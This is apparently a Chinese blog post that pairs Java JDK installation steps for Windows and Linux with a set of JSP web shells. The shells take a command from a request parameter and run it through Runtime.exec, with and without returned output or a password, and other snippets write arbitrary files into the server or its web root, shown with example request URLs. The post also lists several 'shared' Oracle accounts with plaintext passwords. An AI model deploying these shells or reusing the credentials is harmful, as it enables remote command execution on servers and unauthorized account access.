Java/JSP环境搭建与安全相关操作全解析
2024/10/29大约 3 分钟编程开发, 基础工具JavaJSPJDK安装命令执行文件写入网络安全编程开发
Java/JSP
自动化安装脚本
curl -o jdk-18_windows-x64_bin.exe https://d6.injdk.cn/oraclejdk/18/jdk-18_windows-x64_bin.exe
jdk-18_windows-x64_bin.exe /s
# 静默安装完成,需要重新打开一个 CMD 窗口。
java -version
echo %PATH%
echo %JAVA_HOME%
# 参考 Java 18 Silent Install https://silentinstallhq.com/java-18-silent-install-how-to-guide/Windows 手动安装 JDK(主要提升Win安装效率)
http://www.codebaoku.com/jdk/jdk-install-windows.html
1. 下载完成后双击jdk-8u271-windows-x64.exe文件。
2. 环境变量的配置 JAVA_HOME CLASSPATH PATHLinux 安装JDK (首先使用 apt yum方式)
http://www.codebaoku.com/jdk/jdk-install-linux.html
mkdir /usr/java/
tar -zxvf jdk-8u171-Linux-x64.tar.gz -C /usr/java/
#//环境变量在将会在 /etc/profile 文件中配置,为了防止配置错误,建议先将改文件负责进行备份。
#//备份 /etc/profile 文件
cp /etc/profile /etc/profile.bak
#//编辑 profile 文件,输入 vi /etc/prifle ,然后定位到这个文件的最后面。再按住字母 o ,开启编辑模式。
#//复制下面的内容粘贴到vi编辑器(注意 JAVA_HOME 这个路径,应该写成你刚刚解压的目录)。
export JAVA_HOME=/usr/local/java/jdk1.8.0_171
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH
#//让 /etc/profile 文件生效,
source /etc/profile
#//检查是否配置成功,如果现实了版本信息,那么则证明配置成功。
javac -versionJava 下载地址
(0)http://www.codebaoku.com/jdk/jdk-index.html
(1)TUNA镜像 https://mirrors.tuna.tsinghua.edu.cn/AdoptOpenJDK/
(2)HUAWEI镜像 https://repo.huaweicloud.com/java/jdk/
(3)injdk https://www.injdk.cn/Oracle 共享账号 用于JDK下载
http://www.codebaoku.com/jdk/jdk-oracle-account.html
账号 密码
[email protected] #&qRfvE7rg37GhjEfDJy
[email protected] SuckMyDick123!@#
[email protected] Bellapete!1
[email protected] weLgKcEdnc8PGua/
[email protected] nhXpiFpk3KztJ43一、无回显的命令执行(命令执行后不会在前端页面返回数据)
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
请求url:http://127.0.0.1/shell.jsp?i=whoami二、有回显带密码的命令执行(命令执行后会在前端返回数据)
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>三、文件写入(改写目标服务器里的文件,若文件不存在则创建)
1. ISO-8859-1输入:
new java.io.FileOutputStream(request.getParameter("file")).write(request.getParameter("content").getBytes());
请求url:http://127.0.0.1/input.jsp?file=root/test.txt&content=test
2. UTF-8输入:
new java.io.FileOutputStream(request.getParameter("file")).write(new String(request.getParameter("content").getBytes("ISO-8859-1"), "UTF-8").getBytes());
请求url:http://127.0.0.1/input.jsp?file=root/test.txt&content=test
3. Web目录写入;
new java.io.FileOutputStream(application.getRealPath("/") + "/" + request.getParameter("filename")).write(request.getParameter("content").getBytes());
请求url:http://127.0.0.1/input.jsp?file=test.txt&content=test四、编码相关
Runtime-exec 编码原理 https://www.jianshu.com/p/ae3922db1f70
Runtime-exec 编码工具 https://www.bugku.net/runtime-exec-payloads/
Java在线运行环境 https://www.w3cschool.cn/tryrun/runcode?lang=java-openjdk